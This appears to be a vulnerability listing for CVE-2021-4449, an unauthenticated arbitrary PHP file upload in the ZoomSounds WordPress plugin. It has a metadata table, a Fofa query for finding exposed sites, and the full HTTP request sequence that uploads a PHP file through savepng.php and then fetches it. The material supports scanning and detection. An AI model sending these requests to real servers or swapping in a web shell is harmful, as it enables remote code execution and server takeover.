| Title | ZoomSounds Plugin - Unauthenticated Arbitrary File Upload |
|---|---|
| Author | 0xnemian |
| Severity | Critical |
| Impact | Unauthenticated attackers can upload arbitrary PHP files via savepng.php without authentication or validation, achieving remote code execution and complete server compromise. |
| Remediation | Upgrade to ZoomSounds plugin version that addresses the file upload vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.78635 |
| CVE ID | CVE-2021-4449 |
| CWE ID | CWE-434 |
| Fofa Query | body="/wp-content/plugins/dzs-zoomsounds/" |
| Tags | cve cve2021 wpscan wp zoomsounds intrusive file-upload vkev |
ZoomSounds plugin for WordPress contains a file upload vulnerability in savepng.php
GET /wp-content/plugins/dzs-zoomsounds/savepng.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.16
Connection: close
Accept-Encoding: gzip
POST /wp-content/plugins/dzs-zoomsounds/savepng.php?location=ancw2ct6.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Connection: close
Content-Length: 34
Accept-Encoding: gzip
<?php echo md5("CVE-2021-4449");?>
GET /wp-content/plugins/dzs-zoomsounds/ancw2ct6.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_7_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-4449.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-4449.pcap
N/AN/A